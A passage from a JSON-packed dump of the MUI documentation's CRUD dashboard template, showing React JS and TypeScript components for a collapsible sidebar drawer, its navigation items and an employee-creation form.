{getDrawerContent('desktop')}\n      </Drawer>\n    </DashboardSidebarContext.Provider>\n  );\n}\n\nDashboardSidebar.propTypes = {\n  container: (props, propName) => {\n    if (props[propName] == null) {\n      return null;\n    }\n    if (typeof props[propName] !== 'object' || props[propName].nodeType !== 1) {\n      return new Error(`Expected prop '${propName}' to be of type Element`);\n    }\n    return null;\n  },\n  disableCollapsibleSidebar: PropTypes.bool,\n  expanded: PropTypes.bool,\n  setExpanded: PropTypes.func.isRequired,\n};\n\nexport default DashboardSidebar;\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/components/DashboardSidebar.tsx",
    "content": "import * as React from 'react';\nimport { useTheme } from '@mui/material/styles';\nimport useMediaQuery from '@mui/material/useMediaQuery';\nimport Box from '@mui/material/Box';\nimport Drawer from '@mui/material/Drawer';\nimport List from '@mui/material/List';\nimport Toolbar from '@mui/material/Toolbar';\nimport type {} from '@mui/material/themeCssVarsAugmentation';\nimport PersonIcon from '@mui/icons-material/Person';\nimport BarChartIcon from '@mui/icons-material/BarChart';\nimport DescriptionIcon from '@mui/icons-material/Description';\nimport LayersIcon from '@mui/icons-material/Layers';\nimport { matchPath, useLocation } from 'react-router';\nimport DashboardSidebarContext from '../context/DashboardSidebarContext';\nimport { DRAWER_WIDTH, MINI_DRAWER_WIDTH } from '../constants';\nimport DashboardSidebarPageItem from './DashboardSidebarPageItem';\nimport DashboardSidebarHeaderItem from './DashboardSidebarHeaderItem';\nimport DashboardSidebarDividerItem from './DashboardSidebarDividerItem';\nimport {\n  getDrawerSxTransitionMixin,\n  getDrawerWidthTransitionMixin,\n} from '../mixins';\n\nexport interface DashboardSidebarProps {\n  expanded?: boolean;\n  setExpanded: (expanded: boolean) => void;\n  disableCollapsibleSidebar?: boolean;\n  container?: Element;\n}\n\nexport default function DashboardSidebar({\n  expanded = true,\n  setExpanded,\n  disableCollapsibleSidebar = false,\n  container,\n}: DashboardSidebarProps) {\n  const theme = useTheme();\n\n  const { pathname } = useLocation();\n\n  const [expandedItemIds, setExpandedItemIds] = React.useState<string[]>([]);\n\n  const isOverSmViewport = useMediaQuery(theme.breakpoints.up('sm'));\n  const isOverMdViewport = useMediaQuery(theme.breakpoints.up('md'));\n\n  const [isFullyExpanded, setIsFullyExpanded] = React.useState(expanded);\n  const [isFullyCollapsed, setIsFullyCollapsed] = React.useState(!expanded);\n\n  React.useEffect(() => {\n    if (expanded) {\n      const drawerWidthTransitionTimeout = setTimeout(() => {\n        setIsFullyExpanded(true);\n      }, theme.transitions.duration.enteringScreen);\n\n      return () => clearTimeout(drawerWidthTransitionTimeout);\n    }\n\n    setIsFullyExpanded(false);\n\n    return () => {};\n  }, [expanded, theme.transitions.duration.enteringScreen]);\n\n  React.useEffect(() => {\n    if (!expanded) {\n      const drawerWidthTransitionTimeout = setTimeout(() => {\n        setIsFullyCollapsed(true);\n      }, theme.transitions.duration.leavingScreen);\n\n      return () => clearTimeout(drawerWidthTransitionTimeout);\n    }\n\n    setIsFullyCollapsed(false);\n\n    return () => {};\n  }, [expanded, theme.transitions.duration.leavingScreen]);\n\n  const mini = !disableCollapsibleSidebar && !expanded;\n\n  const handleSetSidebarExpanded = React.useCallback(\n    (newExpanded: boolean) => () => {\n      setExpanded(newExpanded);\n    },\n    [setExpanded],\n  );\n\n  const handlePageItemClick = React.useCallback(\n    (itemId: string, hasNestedNavigation: boolean) => {\n      if (hasNestedNavigation && !mini) {\n        setExpandedItemIds((previousValue) =>\n          previousValue.includes(itemId)\n            ? previousValue.filter(\n                (previousValueItemId) => previousValueItemId !== itemId,\n              )\n            : [...previousValue, itemId],\n        );\n      } else if (!isOverSmViewport && !hasNestedNavigation) {\n        setExpanded(false);\n      }\n    },\n    [mini, setExpanded, isOverSmViewport],\n  );\n\n  const hasDrawerTransitions =\n    isOverSmViewport && (!disableCollapsibleSidebar || isOverMdViewport);\n\n  const getDrawerContent = React.useCallback(\n    (viewport: 'phone' | 'tablet' | 'desktop') => (\n      <React.Fragment>\n        <Toolbar />\n        <Box\n          component=\"nav\"\n          aria-label={`${viewport.charAt(0).toUpperCase()}${viewport.slice(1)}`}\n          sx={{\n            height: '100%',\n            display: 'flex',\n            flexDirection: 'column',\n            justifyContent: 'space-between',\n            overflow: 'auto',\n            scrollbarGutter: mini ? 'stable' : 'auto',\n            overflowX: 'hidden',\n            pt: !mini ? 0 : 2,\n            ...(hasDrawerTransitions\n              ? getDrawerSxTransitionMixin(isFullyExpanded, 'padding')\n              : {}),\n          }}\n        >\n          <List\n            dense\n            sx={{\n              padding: mini ? 0 : 0.5,\n              mb: 4,\n              width: mini ? MINI_DRAWER_WIDTH : 'auto',\n            }}\n          >\n            <DashboardSidebarHeaderItem>Main items</DashboardSidebarHeaderItem>\n            <DashboardSidebarPageItem\n              id=\"employees\"\n              title=\"Employees\"\n              icon={<PersonIcon />}\n              href=\"/employees\"\n              selected={!!matchPath('/employees/*', pathname) || pathname === '/'}\n            />\n            <DashboardSidebarDividerItem />\n            <DashboardSidebarHeaderItem>Example items</DashboardSidebarHeaderItem>\n            <DashboardSidebarPageItem\n              id=\"reports\"\n              title=\"Reports\"\n              icon={<BarChartIcon />}\n              href=\"/reports\"\n              selected={!!matchPath('/reports', pathname)}\n              defaultExpanded={!!matchPath('/reports', pathname)}\n              expanded={expandedItemIds.includes('reports')}\n              nestedNavigation={\n                <List\n                  dense\n                  sx={{\n                    padding: 0,\n                    my: 1,\n                    pl: mini ? 0 : 1,\n                    minWidth: 240,\n                  }}\n                >\n                  <DashboardSidebarPageItem\n                    id=\"sales\"\n                    title=\"Sales\"\n                    icon={<DescriptionIcon />}\n                    href=\"/reports/sales\"\n                    selected={!!matchPath('/reports/sales', pathname)}\n                  />\n                  <DashboardSidebarPageItem\n                    id=\"traffic\"\n                    title=\"Traffic\"\n                    icon={<DescriptionIcon />}\n                    href=\"/reports/traffic\"\n                    selected={!!matchPath('/reports/traffic', pathname)}\n                  />\n                </List>\n              }\n            />\n            <DashboardSidebarPageItem\n              id=\"integrations\"\n              title=\"Integrations\"\n              icon={<LayersIcon />}\n              href=\"/integrations\"\n              selected={!!matchPath('/integrations', pathname)}\n            />\n          </List>\n        </Box>\n      </React.Fragment>\n    ),\n    [mini, hasDrawerTransitions, isFullyExpanded, expandedItemIds, pathname],\n  );\n\n  const getDrawerSharedSx = React.useCallback(\n    (isTemporary: boolean) => {\n      const drawerWidth = mini ? MINI_DRAWER_WIDTH : DRAWER_WIDTH;\n\n      return {\n        displayPrint: 'none',\n        width: drawerWidth,\n        flexShrink: 0,\n        ...getDrawerWidthTransitionMixin(expanded),\n        ...(isTemporary ? { position: 'absolute' } : {}),\n        [`& .MuiDrawer-paper`]: {\n          position: 'absolute',\n          width: drawerWidth,\n          boxSizing: 'border-box',\n          backgroundImage: 'none',\n          ...getDrawerWidthTransitionMixin(expanded),\n        },\n      };\n    },\n    [expanded, mini],\n  );\n\n  const sidebarContextValue = React.useMemo(() => {\n    return {\n      onPageItemClick: handlePageItemClick,\n      mini,\n      fullyExpanded: isFullyExpanded,\n      fullyCollapsed: isFullyCollapsed,\n      hasDrawerTransitions,\n    };\n  }, [\n    handlePageItemClick,\n    mini,\n    isFullyExpanded,\n    isFullyCollapsed,\n    hasDrawerTransitions,\n  ]);\n\n  return (\n    <DashboardSidebarContext.Provider value={sidebarContextValue}>\n      <Drawer\n        container={container}\n        variant=\"temporary\"\n        open={expanded}\n        onClose={handleSetSidebarExpanded(false)}\n        ModalProps={{\n          keepMounted: true, // Better open performance on mobile.\n        }}\n        sx={{\n          display: {\n            xs: 'block',\n            sm: disableCollapsibleSidebar ? 'block' : 'none',\n            md: 'none',\n          },\n          ...getDrawerSharedSx(true),\n        }}\n      >\n        {getDrawerContent('phone')}\n      </Drawer>\n      <Drawer\n        variant=\"permanent\"\n        sx={{\n          display: {\n            xs: 'none',\n            sm: disableCollapsibleSidebar ? 'none' : 'block',\n            md: 'none',\n          },\n          ...getDrawerSharedSx(false),\n        }}\n      >\n        {getDrawerContent('tablet')}\n      </Drawer>\n      <Drawer\n        variant=\"permanent\"\n        sx={{\n          display: { xs: 'none', md: 'block' },\n          ...getDrawerSharedSx(false),\n        }}\n      >\n        {getDrawerContent('desktop')}\n      </Drawer>\n    </DashboardSidebarContext.Provider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/components/DashboardSidebarDividerItem.js",
    "content": "import * as React from 'react';\nimport Divider from '@mui/material/Divider';\n\nimport DashboardSidebarContext from '../context/DashboardSidebarContext';\nimport { getDrawerSxTransitionMixin } from '../mixins';\n\nexport default function DashboardSidebarDividerItem() {\n  const sidebarContext = React.useContext(DashboardSidebarContext);\n  if (!sidebarContext) {\n    throw new Error('Sidebar context was used without a provider.');\n  }\n  const { fullyExpanded = true, hasDrawerTransitions } = sidebarContext;\n\n  return (\n    <li>\n      <Divider\n        sx={{\n          borderBottomWidth: 1,\n          my: 1,\n          mx: -0.5,\n          ...(hasDrawerTransitions\n            ? getDrawerSxTransitionMixin(fullyExpanded, 'margin')\n            : {}),\n        }}\n      />\n    </li>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/components/DashboardSidebarDividerItem.tsx",
    "content": "import * as React from 'react';\nimport Divider from '@mui/material/Divider';\nimport type {} from '@mui/material/themeCssVarsAugmentation';\nimport DashboardSidebarContext from '../context/DashboardSidebarContext';\nimport { getDrawerSxTransitionMixin } from '../mixins';\n\nexport default function DashboardSidebarDividerItem() {\n  const sidebarContext = React.useContext(DashboardSidebarContext);\n  if (!sidebarContext) {\n    throw new Error('Sidebar context was used without a provider.');\n  }\n  const { fullyExpanded = true, hasDrawerTransitions } = sidebarContext;\n\n  return (\n    <li>\n      <Divider\n        sx={{\n          borderBottomWidth: 1,\n          my: 1,\n          mx: -0.5,\n          ...(hasDrawerTransitions\n            ? getDrawerSxTransitionMixin(fullyExpanded, 'margin')\n            : {}),\n        }}\n      />\n    </li>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/components/DashboardSidebarHeaderItem.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport ListSubheader from '@mui/material/ListSubheader';\n\nimport DashboardSidebarContext from '../context/DashboardSidebarContext';\nimport { DRAWER_WIDTH } from '../constants';\nimport { getDrawerSxTransitionMixin } from '../mixins';\n\nfunction DashboardSidebarHeaderItem({ children }) {\n  const sidebarContext = React.useContext(DashboardSidebarContext);\n  if (!sidebarContext) {\n    throw new Error('Sidebar context was used without a provider.');\n  }\n  const {\n    mini = false,\n    fullyExpanded = true,\n    hasDrawerTransitions,\n  } = sidebarContext;\n\n  return (\n    <ListSubheader\n      sx={{\n        fontSize: 12,\n        fontWeight: '600',\n        height: mini ? 0 : 36,\n        ...(hasDrawerTransitions\n          ? getDrawerSxTransitionMixin(fullyExpanded, 'height')\n          : {}),\n        px: 1.5,\n        py: 0,\n        minWidth: DRAWER_WIDTH,\n        overflow: 'hidden',\n        textOverflow: 'ellipsis',\n        whiteSpace: 'nowrap',\n        zIndex: 2,\n      }}\n    >\n      {children}\n    </ListSubheader>\n  );\n}\n\nDashboardSidebarHeaderItem.propTypes = {\n  children: PropTypes.node,\n};\n\nexport default DashboardSidebarHeaderItem;\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/components/DashboardSidebarHeaderItem.tsx",
    "content": "import * as React from 'react';\nimport ListSubheader from '@mui/material/ListSubheader';\nimport type {} from '@mui/material/themeCssVarsAugmentation';\nimport DashboardSidebarContext from '../context/DashboardSidebarContext';\nimport { DRAWER_WIDTH } from '../constants';\nimport { getDrawerSxTransitionMixin } from '../mixins';\n\nexport interface DashboardSidebarHeaderItemProps {\n  children?: React.ReactNode;\n}\n\nexport default function DashboardSidebarHeaderItem({\n  children,\n}: DashboardSidebarHeaderItemProps) {\n  const sidebarContext = React.useContext(DashboardSidebarContext);\n  if (!sidebarContext) {\n    throw new Error('Sidebar context was used without a provider.');\n  }\n  const {\n    mini = false,\n    fullyExpanded = true,\n    hasDrawerTransitions,\n  } = sidebarContext;\n\n  return (\n    <ListSubheader\n      sx={{\n        fontSize: 12,\n        fontWeight: '600',\n        height: mini ? 0 : 36,\n        ...(hasDrawerTransitions\n          ? getDrawerSxTransitionMixin(fullyExpanded, 'height')\n          : {}),\n        px: 1.5,\n        py: 0,\n        minWidth: DRAWER_WIDTH,\n        overflow: 'hidden',\n        textOverflow: 'ellipsis',\n        whiteSpace: 'nowrap',\n        zIndex: 2,\n      }}\n    >\n      {children}\n    </ListSubheader>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/components/DashboardSidebarPageItem.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\n\nimport Avatar from '@mui/material/Avatar';\nimport Box from '@mui/material/Box';\nimport Collapse from '@mui/material/Collapse';\nimport Grow from '@mui/material/Grow';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport Paper from '@mui/material/Paper';\nimport Typography from '@mui/material/Typography';\n\nimport ExpandMoreIcon from '@mui/icons-material/ExpandMore';\nimport { Link } from 'react-router';\nimport DashboardSidebarContext from '../context/DashboardSidebarContext';\nimport { MINI_DRAWER_WIDTH } from '../constants';\n\nfunction DashboardSidebarPageItem({\n  id,\n  title,\n  icon,\n  href,\n  action,\n  defaultExpanded = false,\n  expanded = defaultExpanded,\n  selected = false,\n  disabled = false,\n  nestedNavigation,\n}) {\n  const sidebarContext = React.useContext(DashboardSidebarContext);\n  if (!sidebarContext) {\n    throw new Error('Sidebar context was used without a provider.');\n  }\n  const {\n    onPageItemClick,\n    mini = false,\n    fullyExpanded = true,\n    fullyCollapsed = false,\n  } = sidebarContext;\n\n  const [isHovered, setIsHovered] = React.useState(false);\n\n  const handleClick = React.useCallback(() => {\n    if (onPageItemClick) {\n      onPageItemClick(id, !!nestedNavigation);\n    }\n  }, [onPageItemClick, id, nestedNavigation]);\n\n  let nestedNavigationCollapseSx = { display: 'none' };\n  if (mini && fullyCollapsed) {\n    nestedNavigationCollapseSx = {\n      fontSize: 18,\n      position: 'absolute',\n      top: '41.5%',\n      right: '2px',\n      transform: 'translateY(-50%) rotate(-90deg)',\n    };\n  } else if (!mini && fullyExpanded) {\n    nestedNavigationCollapseSx = {\n      ml: 0.5,\n      fontSize: 20,\n      transform: `rotate(${expanded ? 0 : -90}deg)`,\n      transition: (theme) =>\n        theme.transitions.create('transform', {\n          easing: theme.transitions.easing.sharp,\n          duration: 100,\n        }),\n    };\n  }\n\n  const hasExternalHref = href\n    ? href.startsWith('http://') || href.startsWith('https://')\n    : false;\n\n  const LinkComponent = hasExternalHref ? 'a' : Link;\n\n  const miniNestedNavigationSidebarContextValue = React.useMemo(() => {\n    return {\n      onPageItemClick: onPageItemClick ?? (() => {}),\n      mini: false,\n      fullyExpanded: true,\n      fullyCollapsed: false,\n      hasDrawerTransitions: false,\n    };\n  }, [onPageItemClick]);\n\n  return (\n    <React.Fragment>\n      <ListItem\n        disablePadding\n        {...(nestedNavigation && mini\n          ? {\n              onMouseEnter: () => {\n                setIsHovered(true);\n              },\n              onMouseLeave: () => {\n                setIsHovered(false);\n              },\n            }\n          : {})}\n        sx={{\n          display: 'block',\n          py: 0,\n          px: 1,\n          overflowX: 'hidden',\n        }}\n      >\n        <ListItemButton\n          selected={selected}\n          disabled={disabled}\n          sx={{\n            height: mini ? 50 : 'auto',\n          }}\n          {...(nestedNavigation && !mini\n            ? {\n                onClick: handleClick,\n              }\n            : {})}\n          {...(!nestedNavigation\n            ? {\n                LinkComponent,\n                ...(hasExternalHref\n                  ? {\n                      target: '_blank',\n                      rel: 'noopener noreferrer',\n                    }\n                  : {}),\n                to: href,\n                onClick: handleClick,\n              }\n            : {})}\n        >\n          {icon || mini ? (\n            <Box\n              sx={\n                mini\n                  ? {\n                      position: 'absolute',\n                      left: '50%',\n                      top: 'calc(50% - 6px)',\n                      transform: 'translate(-50%, -50%)',\n                    }\n                  : {}\n              }\n            >\n              <ListItemIcon\n                sx={{\n                  display: 'flex',\n                  alignItems: 'center',\n                  justifyContent: mini ? 'center' : 'auto',\n                }}\n              >\n                {icon ?? null}\n                {!icon && mini ? (\n                  <Avatar\n                    sx={{\n                      fontSize: 10,\n                      height: 16,\n                      width: 16,\n                    }}\n                  >\n                    {title\n                      .split(' ')\n                      .slice(0, 2)\n                      .map((titleWord) => titleWord.charAt(0).toUpperCase())}\n                  </Avatar>\n                ) : null}\n              </ListItemIcon>\n              {mini ? (\n                <Typography\n                  variant=\"caption\"\n                  sx={{\n                    position: 'absolute',\n                    bottom: -18,\n                    left: '50%',\n                    transform: 'translateX(-50%)',\n                    fontSize: 10,\n                    fontWeight: 500,\n                    textAlign: 'center',\n                    whiteSpace: 'nowrap',\n                    overflow: 'hidden',\n                    textOverflow: 'ellipsis',\n                    maxWidth: MINI_DRAWER_WIDTH - 28,\n                  }}\n                >\n                  {title}\n                </Typography>\n              ) : null}\n            </Box>\n          ) : null}\n          {!mini ? (\n            <ListItemText\n              primary={title}\n              sx={{\n                whiteSpace: 'nowrap',\n                zIndex: 1,\n              }}\n            />\n          ) : null}\n          {action && !mini && fullyExpanded ? action : null}\n          {nestedNavigation ? (\n            <ExpandMoreIcon sx={nestedNavigationCollapseSx} />\n          ) : null}\n        </ListItemButton>\n        {nestedNavigation && mini ? (\n          <Grow in={isHovered}>\n            <Box\n              sx={{\n                position: 'fixed',\n                left: MINI_DRAWER_WIDTH - 2,\n                pl: '6px',\n              }}\n            >\n              <Paper\n                elevation={8}\n                sx={{\n                  pt: 0.2,\n                  pb: 0.2,\n                  transform: 'translateY(-50px)',\n                }}\n              >\n                <DashboardSidebarContext.Provider\n                  value={miniNestedNavigationSidebarContextValue}\n                >\n                  {nestedNavigation}\n                </DashboardSidebarContext.Provider>\n              </Paper>\n            </Box>\n          </Grow>\n        ) : null}\n      </ListItem>\n      {nestedNavigation && !mini ? (\n        <Collapse in={expanded} timeout=\"auto\" unmountOnExit>\n          {nestedNavigation}\n        </Collapse>\n      ) : null}\n    </React.Fragment>\n  );\n}\n\nDashboardSidebarPageItem.propTypes = {\n  action: PropTypes.node,\n  defaultExpanded: PropTypes.bool,\n  disabled: PropTypes.bool,\n  expanded: PropTypes.bool,\n  href: PropTypes.string.isRequired,\n  icon: PropTypes.node,\n  id: PropTypes.string.isRequired,\n  nestedNavigation: PropTypes.node,\n  selected: PropTypes.bool,\n  title: PropTypes.string.isRequired,\n};\n\nexport default DashboardSidebarPageItem;\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/components/DashboardSidebarPageItem.tsx",
    "content": "import * as React from 'react';\nimport { type Theme, SxProps } from '@mui/material/styles';\nimport Avatar from '@mui/material/Avatar';\nimport Box from '@mui/material/Box';\nimport Collapse from '@mui/material/Collapse';\nimport Grow from '@mui/material/Grow';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport Paper from '@mui/material/Paper';\nimport Typography from '@mui/material/Typography';\nimport type {} from '@mui/material/themeCssVarsAugmentation';\nimport ExpandMoreIcon from '@mui/icons-material/ExpandMore';\nimport { Link } from 'react-router';\nimport DashboardSidebarContext from '../context/DashboardSidebarContext';\nimport { MINI_DRAWER_WIDTH } from '../constants';\n\nexport interface DashboardSidebarPageItemProps {\n  id: string;\n  title: string;\n  icon?: React.ReactNode;\n  href: string;\n  action?: React.ReactNode;\n  defaultExpanded?: boolean;\n  expanded?: boolean;\n  selected?: boolean;\n  disabled?: boolean;\n  nestedNavigation?: React.ReactNode;\n}\n\nexport default function DashboardSidebarPageItem({\n  id,\n  title,\n  icon,\n  href,\n  action,\n  defaultExpanded = false,\n  expanded = defaultExpanded,\n  selected = false,\n  disabled = false,\n  nestedNavigation,\n}: DashboardSidebarPageItemProps) {\n  const sidebarContext = React.useContext(DashboardSidebarContext);\n  if (!sidebarContext) {\n    throw new Error('Sidebar context was used without a provider.');\n  }\n  const {\n    onPageItemClick,\n    mini = false,\n    fullyExpanded = true,\n    fullyCollapsed = false,\n  } = sidebarContext;\n\n  const [isHovered, setIsHovered] = React.useState(false);\n\n  const handleClick = React.useCallback(() => {\n    if (onPageItemClick) {\n      onPageItemClick(id, !!nestedNavigation);\n    }\n  }, [onPageItemClick, id, nestedNavigation]);\n\n  let nestedNavigationCollapseSx: SxProps<Theme> = { display: 'none' };\n  if (mini && fullyCollapsed) {\n    nestedNavigationCollapseSx = {\n      fontSize: 18,\n      position: 'absolute',\n      top: '41.5%',\n      right: '2px',\n      transform: 'translateY(-50%) rotate(-90deg)',\n    };\n  } else if (!mini && fullyExpanded) {\n    nestedNavigationCollapseSx = {\n      ml: 0.5,\n      fontSize: 20,\n      transform: `rotate(${expanded ? 0 : -90}deg)`,\n      transition: (theme: Theme) =>\n        theme.transitions.create('transform', {\n          easing: theme.transitions.easing.sharp,\n          duration: 100,\n        }),\n    };\n  }\n\n  const hasExternalHref = href\n    ? href.startsWith('http://') || href.startsWith('https://')\n    : false;\n\n  const LinkComponent = hasExternalHref ? 'a' : Link;\n\n  const miniNestedNavigationSidebarContextValue = React.useMemo(() => {\n    return {\n      onPageItemClick: onPageItemClick ?? (() => {}),\n      mini: false,\n      fullyExpanded: true,\n      fullyCollapsed: false,\n      hasDrawerTransitions: false,\n    };\n  }, [onPageItemClick]);\n\n  return (\n    <React.Fragment>\n      <ListItem\n        disablePadding\n        {...(nestedNavigation && mini\n          ? {\n              onMouseEnter: () => {\n                setIsHovered(true);\n              },\n              onMouseLeave: () => {\n                setIsHovered(false);\n              },\n            }\n          : {})}\n        sx={{\n          display: 'block',\n          py: 0,\n          px: 1,\n          overflowX: 'hidden',\n        }}\n      >\n        <ListItemButton\n          selected={selected}\n          disabled={disabled}\n          sx={{\n            height: mini ? 50 : 'auto',\n          }}\n          {...(nestedNavigation && !mini\n            ? {\n                onClick: handleClick,\n              }\n            : {})}\n          {...(!nestedNavigation\n            ? {\n                LinkComponent,\n                ...(hasExternalHref\n                  ? {\n                      target: '_blank',\n                      rel: 'noopener noreferrer',\n                    }\n                  : {}),\n                to: href,\n                onClick: handleClick,\n              }\n            : {})}\n        >\n          {icon || mini ? (\n            <Box\n              sx={\n                mini\n                  ? {\n                      position: 'absolute',\n                      left: '50%',\n                      top: 'calc(50% - 6px)',\n                      transform: 'translate(-50%, -50%)',\n                    }\n                  : {}\n              }\n            >\n              <ListItemIcon\n                sx={{\n                  display: 'flex',\n                  alignItems: 'center',\n                  justifyContent: mini ? 'center' : 'auto',\n                }}\n              >\n                {icon ?? null}\n                {!icon && mini ? (\n                  <Avatar\n                    sx={{\n                      fontSize: 10,\n                      height: 16,\n                      width: 16,\n                    }}\n                  >\n                    {title\n                      .split(' ')\n                      .slice(0, 2)\n                      .map((titleWord) => titleWord.charAt(0).toUpperCase())}\n                  </Avatar>\n                ) : null}\n              </ListItemIcon>\n              {mini ? (\n                <Typography\n                  variant=\"caption\"\n                  sx={{\n                    position: 'absolute',\n                    bottom: -18,\n                    left: '50%',\n                    transform: 'translateX(-50%)',\n                    fontSize: 10,\n                    fontWeight: 500,\n                    textAlign: 'center',\n                    whiteSpace: 'nowrap',\n                    overflow: 'hidden',\n                    textOverflow: 'ellipsis',\n                    maxWidth: MINI_DRAWER_WIDTH - 28,\n                  }}\n                >\n                  {title}\n                </Typography>\n              ) : null}\n            </Box>\n          ) : null}\n          {!mini ? (\n            <ListItemText\n              primary={title}\n              sx={{\n                whiteSpace: 'nowrap',\n                zIndex: 1,\n              }}\n            />\n          ) : null}\n          {action && !mini && fullyExpanded ? action : null}\n          {nestedNavigation ? (\n            <ExpandMoreIcon sx={nestedNavigationCollapseSx} />\n          ) : null}\n        </ListItemButton>\n        {nestedNavigation && mini ? (\n          <Grow in={isHovered}>\n            <Box\n              sx={{\n                position: 'fixed',\n                left: MINI_DRAWER_WIDTH - 2,\n                pl: '6px',\n              }}\n            >\n              <Paper\n                elevation={8}\n                sx={{\n                  pt: 0.2,\n                  pb: 0.2,\n                  transform: 'translateY(-50px)',\n                }}\n              >\n                <DashboardSidebarContext.Provider\n                  value={miniNestedNavigationSidebarContextValue}\n                >\n                  {nestedNavigation}\n                </DashboardSidebarContext.Provider>\n              </Paper>\n            </Box>\n          </Grow>\n        ) : null}\n      </ListItem>\n      {nestedNavigation && !mini ? (\n        <Collapse in={expanded} timeout=\"auto\" unmountOnExit>\n          {nestedNavigation}\n        </Collapse>\n      ) : null}\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/components/EmployeeCreate.js",
    "content": "import * as React from 'react';\nimport { useNavigate } from 'react-router';\nimport useNotifications from '../hooks/useNotifications/useNotifications';\nimport {\n  createOne as createEmployee,\n  validate as validateEmployee,\n} from '../data/employees';\nimport EmployeeForm from './EmployeeForm';\nimport PageContainer from './PageContainer';\n\nconst INITIAL_FORM_VALUES = {\n  role: 'Market',\n  isFullTime: true,\n};\n\nexport default function EmployeeCreate() {\n  const navigate = useNavigate();\n\n  const notifications = useNotifications();\n\n  const [formState, setFormState] = React.useState(() => ({\n    values: INITIAL_FORM_VALUES,\n    errors: {},\n  }));\n  const formValues = formState.values;\n  const formErrors = formState.errors;\n\n  const setFormValues = React.useCallback((newFormValues) => {\n    setFormState((previousState) => ({\n      ...previousState,\n      values: newFormValues,\n    }));\n  }, []);\n\n  const setFormErrors = React.useCallback((newFormErrors) => {\n    setFormState((previousState) => ({\n      ...previousState,\n      errors: newFormErrors,\n    }));\n  }, []);\n\n  const handleFormFieldChange = React.useCallback(\n    (name, value) => {\n      const validateField = async (values) => {\n        const { issues } = validateEmployee(values);\n        setFormErrors({\n          ...formErrors,\n          [name]: issues?.find((issue) => issue.path?.[0] === name)?.message,\n        });\n      };\n\n      const newFormValues = { ...formValues, [name]: value };\n\n      setFormValues(newFormValues);\n      validateField(newFormValues);\n    },\n    [formValues, formErrors, setFormErrors, setFormValues],\n  );\n\n  const handleFormReset = React.useCallback(() => {\n    setFormValues(INITIAL_FORM_VALUES);\n  }, [setFormValues]);\n\n  const handleFormSubmit = React.useCallback(async () => {\n    const { issues } = validateEmployee(formValues);\n    if (issues && issues.length > 0) {\n      setFormErrors(\n        Object.fromEntries(issues.map((issue) => [issue.path?.[0], issue.message])),\n      );\n      return;\n    }\n    setFormErrors({});\n\n    try {\n      await createEmployee(formValues);\n      notifications.show('Employee created successfully.', {\n        severity: 'success',\n        autoHideDuration: 3000,\n      });\n\n      navigate('/employees');\n    } catch (createError) {\n      notifications.show(\n        `Failed to create employee. Reason: ${createError.message}`,\n        {\n          severity: 'error',\n          autoHideDuration: 3000,\n        },\n      );\n      throw createError;\n    }\n  }, [formValues, navigate, notifications, setFormErrors]);\n\n  return (\n    <PageContainer\n      title=\"New Employee\"\n      breadcrumbs={[{ title: 'Employees', path: '/employees' }, { title: 'New' }]}\n    >\n      <EmployeeForm\n        formState={formState}\n        onFieldChange={handleFormFieldChange}\n        onSubmit={handleFormSubmit}\n        onReset={handleFormReset}\n        submitButtonLabel=\"Create\"\n      />\n    </PageContainer>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/components/EmployeeCreate.tsx",
    "content": "import * as React from 'react';\nimport { useNavigate } from 'react-router';\nimport useNotifications from '../hooks/useNotifications/useNotifications';\nimport {\n  createOne as createEmployee,\n  validate as validateEmployee,\n  type Employee,\n} from '../data/employees';\nimport EmployeeForm, {\n  type FormFieldValue,\n  type EmployeeFormState,\n} from './EmployeeForm';\nimport PageContainer from './PageContainer';\n\nconst INITIAL_FORM_VALUES: Partial<EmployeeFormState['values']> = {\n  role: 'Market',\n  isFullTime: true,\n};\n\nexport default function EmployeeCreate() {\n  const navigate = useNavigate();\n\n  const notifications = useNotifications();\n\n  const [formState, setFormState] = React.useState<EmployeeFormState>(() => ({\n    values: INITIAL_FORM_VALUES,\n    errors: {},\n  }));\n  const formValues = formState.values;\n  const formErrors = formState.errors;\n\n  const setFormValues = React.useCallback(\n    (newFormValues: Partial<EmployeeFormState['values']>) => {\n      setFormState((previousState) => ({\n        ...previousState,\n        values: newFormValues,\n      }));\n    },\n    [],\n  );\n\n  const setFormErrors = React.useCallback(\n    (newFormErrors: Partial<EmployeeFormState['errors']>) => {\n      setFormState((previousState) => ({\n        ...previousState,\n        errors: newFormErrors,\n      }));\n    },\n    [],\n  );\n\n  const handleFormFieldChange = React.useCallback(\n    (name: keyof EmployeeFormState['values'], value: FormFieldValue) => {\n      const validateField = async (values: Partial<EmployeeFormState['values']>) => {\n        const { issues } = validateEmployee(values);\n        setFormErrors({\n          ...formErrors,\n          [name]: issues?.find((issue) => issue.path?.[0] === name)?.message,\n        });\n      };\n\n      const newFormValues = { ...formValues, [name]: value };\n\n      setFormValues(newFormValues);\n      validateField(newFormValues);\n    },\n    [formValues, formErrors, setFormErrors, setFormValues],\n  );\n\n  const handleFormReset = React.useCallback(() => {\n    setFormValues(INITIAL_FORM_VALUES);\n  }, [setFormValues]);\n\n  const handleFormSubmit = React.useCallback(async () => {\n    const { issues } = validateEmployee(formValues);\n    if (issues && issues.length > 0) {\n      setFormErrors(\n        Object.fromEntries(issues.map((issue) => [issue.path?.[0], issue.message])),\n      );\n      return;\n    }\n    setFormErrors({});\n\n    try {\n      await createEmployee(formValues as Omit<Employee, 'id'>);\n      notifications.show('Employee created successfully.', {\n        severity: 'success',\n        